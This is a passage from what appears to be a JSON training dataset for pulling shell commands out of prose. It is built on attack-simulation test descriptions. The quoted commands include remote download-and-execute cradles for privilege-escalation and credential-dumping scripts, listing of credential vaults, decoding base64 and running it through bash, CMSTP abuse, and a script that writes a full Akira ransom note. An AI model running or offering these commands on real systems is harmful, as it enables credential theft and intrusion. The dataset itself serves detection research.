5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique involves modifying the current user's registry via cmd console to hide My Documents Properties, which can be done by executing: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoPropertiesMyDocuments /t REG_DWORD /d 1 /f. Some changes may require a system restart.; You can modify the registry to hide the clock by executing this command with reg.exe: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideClock /t REG_DWORD /d 1 /f. Be aware that ransomware has been known to exploit this technique, as detailed in the provided VirusTotal link.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoPropertiesMyDocuments /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v HideClock /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The WinPwn function allows credential looting with the Invoke-WCMDump technique, using the command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')\nInvoke-WCMDump; The access timestamp of a file can be modified by executing this command: touch -a -t 197001010000.00 #{target_filename}\n",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')\\nInvoke-WCMDump\", \"touch -a -t 197001010000.00 #{target_filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For enumerating credentials in the Windows Credentials vault, run the built-in utility with this command: vaultcmd /listcreds:\"Windows Credentials\" /all; You can list all credentials in the Web Credentials vault of Windows Credential Manager via the command: vaultcmd /listcreds:\"Web Credentials\" /all",
    "output": "{\"command_list\": [\"vaultcmd /listcreds:\\\"Windows Credentials\\\" /all\\n\", \"vaultcmd /listcreds:\\\"Web Credentials\\\" /all\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For decoding a hex-encoded string and echoing it to the console, run this multi-step command: ENCODED=$(echo '#{message}' | xxd -ps -c 256)\nprintf $ENCODED | xxd -r -p\necho $ENCODED | xxd -r -p\necho $(echo $ENCODED) | xxd -r -p\necho $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file}\necho $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file}\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p; Attackers often obfuscate shell scripts using Base64 encoding with Shebang, as documented by TrendMicro and seen in LinPEAS. To execute such scripts, use the following command: \necho #{bash_encoded} | base64 -d | bash\necho #{dash_encoded} | base64 -d | bash\necho #{fish_encoded} | base64 -d | bash\necho #{sh_encoded} | base64 -d | bash",
    "output": "{\"command_list\": [\"ENCODED=$(echo '#{message}' | xxd -ps -c 256)\\nprintf $ENCODED | xxd -r -p\\necho $ENCODED | xxd -r -p\\necho $(echo $ENCODED) | xxd -r -p\\necho $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file}\\necho $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file}\\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p\\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p\\n\", \"echo #{bash_encoded} | base64 -d | bash\\necho #{dash_encoded} | base64 -d | bash\\necho #{fish_encoded} | base64 -d | bash\\necho #{sh_encoded} | base64 -d | bash\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To run malicious commands through CMSTP.exe, adversaries may supply infected INF files with this command: cmstp.exe /s \"#{inf_file_path}\"\n; To invoke cmd.exe through an INF file's RunPreSetupCommandsSection, adversaries may employ this command: cmstp.exe /s \"#{inf_file_uac}\" /au",
    "output": "{\"command_list\": [\"cmstp.exe /s \\\"#{inf_file_path}\\\"\\n\", \"cmstp.exe /s \\\"#{inf_file_uac}\\\" /au\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By convincing a user to execute Microsoft Quick Assist, an attacker could establish a connection to their machine using the command: Start-Process \"shell:AppsFolder\\\\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App\"; The HTML file, inspired by Stan Hegt's work, will silently fetch the ISO file when you execute this command: & \"PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_remote.html\"",
    "output": "{\"command_list\": [\"Start-Process \\\"shell:AppsFolder\\\\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App\\\"\", \"& \\\"PathToAtomicsFolder\\\\T1027.006\\\\bin\\\\T1027_006_remote.html\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To drop 100 files with random content and the .akira extension along with the Akira ransom note in the C: drive, use the following command: \n1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes(\"c:\\\\test.$_.akira\", $out) }\necho \"Hi friends\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"Whatever who you are and what your title is if you\\' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption  Well, for now let\\'s keep all the tears and resentment to ourselves and try to build a constructive dialogue. We\\'re fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: \" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them — in this case we won\\'t be able to help.  \" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we\\' ve managed to detect and used in order to get into. identify backup solutions and upload your data.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes — generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"Then all of this will be published in our blog -\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"https://akira.onion\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"5. We\\'re more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"If you\\' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"2. Paste this link - https://akira.onion\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"3. Use this code - - to log into our chat.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"Keep in mind that the faster you will get in touch, the less damage we cause\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\n; To deploy containers that execute malicious payloads, adversaries can use docker commands like these, which were employed in the Kinsing & Doki campaign: docker build -t t1610 $PathtoAtomicsFolder/T1610/src/\ndocker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh\n",
